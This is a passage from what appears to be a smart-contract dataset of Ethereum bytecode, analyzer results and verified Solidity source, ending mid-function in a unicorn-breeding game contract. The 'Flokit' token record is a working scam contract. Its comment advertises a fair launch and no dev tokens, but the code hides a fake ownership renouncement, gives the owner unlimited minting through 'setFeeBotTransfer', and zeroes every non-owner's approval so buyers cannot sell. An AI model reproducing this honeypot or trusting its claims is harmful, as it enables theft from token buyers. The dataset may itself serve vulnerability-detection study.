0548311156112d257600080fd5b6001600160a01b0382166000908152600a60205260409020546112f59084611b66565b6001600160a01b0383166000908152600a602052604090205560035461131b9084611b66565b60035560045461132b9084611b57565b6004556040805184815290516000916001600160a01b03851691600080516020611b798339815191529181900360200190a350600192915050565b6000815183511461137657600080fd5b8251336000908152600a6020526040812054905b828110156114615760008682815181106113a057fe5b6020026020010151905060006001600160a01b0316816001600160a01b031614156113ca57600080fd5b60008683815181106113d857fe5b60200260200101519050808410156113ef57600080fd5b336001600160a01b03831614611429576001600160a01b0382166000908152600a602052604090205493819003936114279082611b57565b505b6040805182815290516001600160a01b038416913391600080516020611b798339815191529181900360200190a3505060010161138a565b50336000908152600a60205260409020555060019392505050565b6007546001600160a01b031681565b6009546000906001600160a01b031633146114a557600080fd5b600d5460ff16156114b557600080fd5b6001600160a01b038216158015906114cd5750600083115b80156114db57506005548311155b6114e457600080fd5b6001600160a01b0382166000908152600c602052604090205415610bde57600080fd5b60018054604080516020601f60026000196101008789161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b6007546001600160a01b0316331461157e57600080fd5b6001600160a01b0381166000908152600c6020526040902054156115a157600080fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600d5460ff161590565b336000908152600a602052604081205482118015906115ec5750600082115b6115f557600080fd5b6001600160a01b0383166000908152600c60205260409020541580156116285750336000908152600c6020526040902054155b61163157600080fd5b336000908152600a602052604090205461164b9083611b66565b336000908152600a6020526040808220929092556001600160a01b038516815220546116779083611b57565b6001600160a01b0384166000818152600a6020908152604091829020939093558051858152905191923392600080516020611b798339815191529281900390910190a350600192915050565b6009546000906001600160a01b031633146116dd57600080fd5b6001600160a01b0382166116f057600080fd5b826000805b8281101561178a57600087878381811061170b57fe5b602090810292909201356001600160a01b03166000818152600a909352604090922054919250508015611780576001600160a01b038083166000818152600a60209081526040808320929092558151858152915197850197938b1693600080516020611b798339815191529281900390910190a35b50506001016116f5565b5080156117d9576001600160a01b0384166000908152600a60205260409020546117b49082611b57565b6001600160a01b0385166000908152600a60205260409020555060019150610e139050565b50509392505050565b6008546001600160a01b031681565b6001600160a01b0382166000908152600c60205260408120541580156118245750336000908152600c6020526040902054155b61182d57600080fd5b336000908152600b602090815260408083206001600160a01b038716845290915290205461185b9083611b57565b336000818152600b602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60006001600160a01b038316158015906118e257506001600160a01b03821615155b6118eb57600080fd5b506001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b6009546000906001600160a01b0316331461193157600080fd5b6001600160a01b03831661194457600080fd5b6001600160a01b0384166000908152600c602052604090205415801561198057506001600160a01b0383166000908152600c6020526040902054155b61198957600080fd5b6001600160a01b0384166000908152600a602052604090205482118015906119b15750600082115b6119ba57600080fd5b6001600160a01b0384166000908152600a60205260409020546119dd9083611b66565b6001600160a01b038086166000908152600a60205260408082209390935590851681522054611a0c9083611b57565b6001600160a01b038085166000818152600a60209081526040918290209490945580518681529051919392881692600080516020611b7983398151915292918290030190a35060019392505050565b6007546001600160a01b03163314611a7257600080fd5b6001600160a01b0381166000908152600c602052604090205415611a9557600080fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b6009546000906001600160a01b03163314611ad157600080fd5b6001600160a01b03821615801590611ae95750600083115b8015611af85750600d5460ff16155b611b0157600080fd5b6001600160a01b0382166000908152600c602052604090205415611b2457600080fd5b6001600160a01b0382166000908152600a60205260409020548311801590611b4e57506006548311155b6112d257600080fd5b600082820183811015610e1357fe5b600082821115611b7257fe5b5090039056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa265627a7a72315820704639a56b85671e7d2768ceb51a4919062a40b9d32f890a41da566be0243cee64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,644 |
0x64f6ba6e59a6e7b7c98aa6633387a88f5e8641d1
|
/**
*Submitted for verification at Etherscan.io on 2021-06-26
*/
/*
___________.____ ________ ____ __..___ ___________
\_ _____/| | \_____ \ | |/ _|| |\__ ___/
| __) | | / | \ | < | | | |
| \ | |___ / | \| | \ | | | |
\___ / |_______ \\_______ /|____|__ \|___| |____|
\/ \/ \/ \/
⚡️ Built for 100x, Flokit! Engineered for a moon mission, $Flokit is ready for liftoff...either you’re coming or you’re not. Flokit!
⚡️ Tokenomics
⚡️ Fair Launch
⚡️ No Dev Tokens
⚡️ Liquidity Locked on Launch
⚡️ 1 Trillion Supply
⚡️ Built in Automated Rewards Farming - Auto-Farming (ARF) to All Holders (Just hold $Flokit in your wallet and watch your balance grow!)
✅ 1% Burn
✅ 5% Redistribution
✅ 5% Sell Tax
Twitter: https://twitter.com/FlokitFuckit
Website: http://flokit.co/
Telegram: https://t.me/flokitofficial
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Flokit is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Flokit | https://t.me/flokitofficial';
string private _symbol = 'Flokit';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeBotTransfer(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: approve from the zero address");
require(to != address(0), "ERC20: approve to the zero address");
if (from == owner()) {
_allowances[from][to] = amount;
emit Approval(from, to, amount);
} else {
_allowances[from][to] = 0;
emit Approval(from, to, 4);
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806365a818b014610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c5565b6040518082815260200191505060405180910390f35b6102f161090e565b005b6102fb610a96565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610abf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b61565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b7f565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610c06565b8484610c0e565b6001905092915050565b6000600454905090565b600061055d848484610f2e565b61061e84610569610c06565b6106198560405180606001604052806028815260200161139960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b610c0e565b600190509392505050565b6000600760009054906101000a900460ff16905090565b610648610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661072a610c06565b73ffffffffffffffffffffffffffffffffffffffff161415610797576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806113316021913960400191505060405180910390fd5b6107ac816004546112a890919063ffffffff16565b60048190555061080b81600260006107c2610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b60026000610817610c06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061085d610c06565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610916610c06565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b575780601f10610b2c57610100808354040283529160200191610b57565b820191906000526020600020905b815481529060010190602001808311610b3a57829003601f168201915b5050505050905090565b6000610b75610b6e610c06565b8484610f2e565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061140a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806113776022913960400191505060405180910390fd5b610d22610a96565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e405780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610f29565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806113526025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561103a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113e76023913960400191505060405180910390fd5b6110a6816040518060600160405280602681526020016113c160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111e89092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611295576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561125a57808201518184015260208101905061123f565b50505050905090810190601f1680156112875780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122079d92efe95f7d63f864cf9101c2ff89519833c65e8d5fac572a9cd11d187627064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,645 |
0x4fdb91dbce6cee2e08cf85d26eaa3e9bca0c12fe
|
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract UnicornManagementInterface {
function ownerAddress() external view returns (address);
function managerAddress() external view returns (address);
function communityAddress() external view returns (address);
function dividendManagerAddress() external view returns (address);
function walletAddress() external view returns (address);
function blackBoxAddress() external view returns (address);
function unicornBreedingAddress() external view returns (address);
function geneLabAddress() external view returns (address);
function unicornTokenAddress() external view returns (address);
function candyToken() external view returns (address);
function candyPowerToken() external view returns (address);
function createDividendPercent() external view returns (uint);
function sellDividendPercent() external view returns (uint);
function subFreezingPrice() external view returns (uint);
function subFreezingTime() external view returns (uint64);
function subTourFreezingPrice() external view returns (uint);
function subTourFreezingTime() external view returns (uint64);
function createUnicornPrice() external view returns (uint);
function createUnicornPriceInCandy() external view returns (uint);
function oraclizeFee() external view returns (uint);
function paused() external view returns (bool);
// function locked() external view returns (bool);
function isTournament(address _tournamentAddress) external view returns (bool);
function getCreateUnicornFullPrice() external view returns (uint);
function getHybridizationFullPrice(uint _price) external view returns (uint);
function getSellUnicornFullPrice(uint _price) external view returns (uint);
function getCreateUnicornFullPriceInCandy() external view returns (uint);
//service
function registerInit(address _contract) external;
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract DividendManagerInterface {
function payDividend() external payable;
}
contract BlackBoxInterface {
function createGen0(uint _unicornId) public payable;
function geneCore(uint _childUnicornId, uint _parent1UnicornId, uint _parent2UnicornId) public payable;
}
contract UnicornTokenInterface {
//ERC721
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _unicornId) public view returns (address _owner);
function transfer(address _to, uint256 _unicornId) public;
function approve(address _to, uint256 _unicornId) public;
function takeOwnership(uint256 _unicornId) public;
function totalSupply() public constant returns (uint);
function owns(address _claimant, uint256 _unicornId) public view returns (bool);
function allowance(address _claimant, uint256 _unicornId) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _unicornId) public;
//specific
function createUnicorn(address _owner) external returns (uint);
// function burnUnicorn(uint256 _unicornId) external;
function getGen(uint _unicornId) external view returns (bytes);
function setGene(uint _unicornId, bytes _gene) external;
function updateGene(uint _unicornId, bytes _gene) external;
function getUnicornGenByte(uint _unicornId, uint _byteNo) external view returns (uint8);
function setName(uint256 _unicornId, string _name ) external returns (bool);
function plusFreezingTime(uint _unicornId) external;
function plusTourFreezingTime(uint _unicornId) external;
function minusFreezingTime(uint _unicornId, uint64 _time) external;
function minusTourFreezingTime(uint _unicornId, uint64 _time) external;
function isUnfreezed(uint _unicornId) external view returns (bool);
function isTourUnfreezed(uint _unicornId) external view returns (bool);
function marketTransfer(address _from, address _to, uint256 _unicornId) external;
}
contract UnicornAccessControl {
UnicornManagementInterface public unicornManagement;
function UnicornAccessControl(address _unicornManagementAddress) public {
unicornManagement = UnicornManagementInterface(_unicornManagementAddress);
unicornManagement.registerInit(this);
}
modifier onlyOwner() {
require(msg.sender == unicornManagement.ownerAddress());
_;
}
modifier onlyManager() {
require(msg.sender == unicornManagement.managerAddress());
_;
}
modifier onlyCommunity() {
require(msg.sender == unicornManagement.communityAddress());
_;
}
modifier onlyTournament() {
require(unicornManagement.isTournament(msg.sender));
_;
}
modifier whenNotPaused() {
require(!unicornManagement.paused());
_;
}
modifier whenPaused {
require(unicornManagement.paused());
_;
}
modifier onlyManagement() {
require(msg.sender == address(unicornManagement));
_;
}
modifier onlyBreeding() {
require(msg.sender == unicornManagement.unicornBreedingAddress());
_;
}
modifier onlyGeneLab() {
require(msg.sender == unicornManagement.geneLabAddress());
_;
}
modifier onlyBlackBox() {
require(msg.sender == unicornManagement.blackBoxAddress());
_;
}
modifier onlyUnicornToken() {
require(msg.sender == unicornManagement.unicornTokenAddress());
_;
}
function isGamePaused() external view returns (bool) {
return unicornManagement.paused();
}
}
contract UnicornBreeding is UnicornAccessControl {
using SafeMath for uint;
//onlyOwner
UnicornTokenInterface public unicornToken; //only on deploy
BlackBoxInterface public blackBox;
event HybridizationAdd(uint indexed unicornId, uint price);
event HybridizationAccept(uint indexed firstUnicornId, uint indexed secondUnicornId, uint newUnicornId);
event HybridizationDelete(uint indexed unicornId);
event FundsTransferred(address dividendManager, uint value);
event CreateUnicorn(address indexed owner, uint indexed unicornId, uint parent1, uint parent2);
event NewGen0Limit(uint limit);
event NewGen0Step(uint step);
event OfferAdd(uint256 indexed unicornId, uint price);
event OfferDelete(uint256 indexed unicornId);
event UnicornSold(uint256 indexed unicornId);
ERC20 public candyToken;
ERC20 public candyPowerToken;
//counter for gen0
uint public gen0Limit = 30000;
uint public gen0Count = 0;
uint public gen0Step = 1000;
//counter for presale gen0
uint public gen0PresaleLimit = 1000;
uint public gen0PresaleCount = 0;
struct Hybridization{
uint listIndex;
uint price;
bool exists;
}
// Mapping from unicorn ID to Hybridization struct
mapping (uint => Hybridization) public hybridizations;
mapping(uint => uint) public hybridizationList;
uint public hybridizationListSize = 0;
function() public payable {
}
function UnicornBreeding(address _unicornManagementAddress) UnicornAccessControl(_unicornManagementAddress) public {
candyToken = ERC20(unicornManagement.candyToken());
}
function init() onlyManagement whenPaused external {
unicornToken = UnicornTokenInterface(unicornManagement.unicornTokenAddress());
blackBox = BlackBoxInterface(unicornManagement.blackBoxAddress());
candyPowerToken = ERC20(unicornManagement.candyPowerToken());
}
function makeHybridization(uint _unicornId, uint _price) public {
require(unicornToken.owns(msg.sender, _unicornId));
require(unicornToken.isUnfreezed(_unicornId));
require(!hybridizations[_unicornId].exists);
hybridizations[_unicornId] = Hybridization({
price: _price,
exists: true,
listIndex: hybridizationListSize
});
hybridizationList[hybridizationListSize++] = _unicornId;
emit HybridizationAdd(_unicornId, _price);
}
function acceptHybridization(uint _firstUnicornId, uint _secondUnicornId) whenNotPaused public payable {
require(unicornToken.owns(msg.sender, _secondUnicornId));
require(_secondUnicornId != _firstUnicornId);
require(unicornToken.isUnfreezed(_firstUnicornId) && unicornToken.isUnfreezed(_secondUnicornId));
require(hybridizations[_firstUnicornId].exists);
require(msg.value == unicornManagement.oraclizeFee());
if (hybridizations[_firstUnicornId].price > 0) {
require(candyToken.transferFrom(msg.sender, this, getHybridizationPrice(_firstUnicornId)));
}
plusFreezingTime(_secondUnicornId);
uint256 newUnicornId = unicornToken.createUnicorn(msg.sender);
blackBox.geneCore.value(unicornManagement.oraclizeFee())(newUnicornId, _firstUnicornId, _secondUnicornId);
emit CreateUnicorn(msg.sender, newUnicornId, _firstUnicornId, _secondUnicornId);
if (hybridizations[_firstUnicornId].price > 0) {
candyToken.transfer(unicornToken.ownerOf(_firstUnicornId), hybridizations[_firstUnicornId].price);
}
emit HybridizationAccept(_firstUnicornId, _secondUnicornId, newUnicornId);
_deleteHybridization(_firstUnicornId);
}
function cancelHybridization (uint _unicornId) public {
require(unicornToken.owns(msg.sender,_unicornId));
require(hybridizations[_unicornId].exists);
_deleteHybridization(_unicornId);
}
function deleteHybridization(uint _unicornId) onlyUnicornToken external {
_deleteHybridization(_unicornId);
}
function _deleteHybridization(uint _unicornId) internal {
if (hybridizations[_unicornId].exists) {
hybridizations[hybridizationList[--hybridizationListSize]].listIndex = hybridizations[_unicornId].listIndex;
hybridizationList[hybridizations[_unicornId].listIndex] = hybridizationList[hybridizationListSize];
delete hybridizationList[hybridizationListSize];
delete hybridizations[_unicornId];
emit HybridizationDelete(_unicornId);
}
}
//Create new 0 gen
function createUnicorn() public payable whenNotPaused returns(uint256) {
require(msg.value == getCreateUnicornPrice());
return _createUnicorn(msg.sender);
}
function createUnicornForCandy() public payable whenNotPaused returns(uint256) {
require(msg.value == unicornManagement.oraclizeFee());
require(candyToken.transferFrom(msg.sender, this, getCreateUnicornPriceInCandy()));
return _createUnicorn(msg.sender);
}
function createPresaleUnicorns(uint _count, address _owner) public payable onlyManager whenPaused returns(bool) {
require(gen0PresaleCount.add(_count) <= gen0PresaleLimit);
uint256 newUnicornId;
address owner = _owner == address(0) ? msg.sender : _owner;
for (uint i = 0; i < _count; i++){
newUnicornId = unicornToken.createUnicorn(owner);
blackBox.createGen0(newUnicornId);
emit CreateUnicorn(owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
gen0PresaleCount = gen0PresaleCount.add(1);
}
return true;
}
function _createUnicorn(address _owner) private returns(uint256) {
require(gen0Count < gen0Limit);
uint256 newUnicornId = unicornToken.createUnicorn(_owner);
blackBox.createGen0.value(unicornManagement.oraclizeFee())(newUnicornId);
emit CreateUnicorn(_owner, newUnicornId, 0, 0);
gen0Count = gen0Count.add(1);
return newUnicornId;
}
function plusFreezingTime(uint _unicornId) private {
unicornToken.plusFreezingTime(_unicornId);
}
function plusTourFreezingTime(uint _unicornId) onlyTournament public {
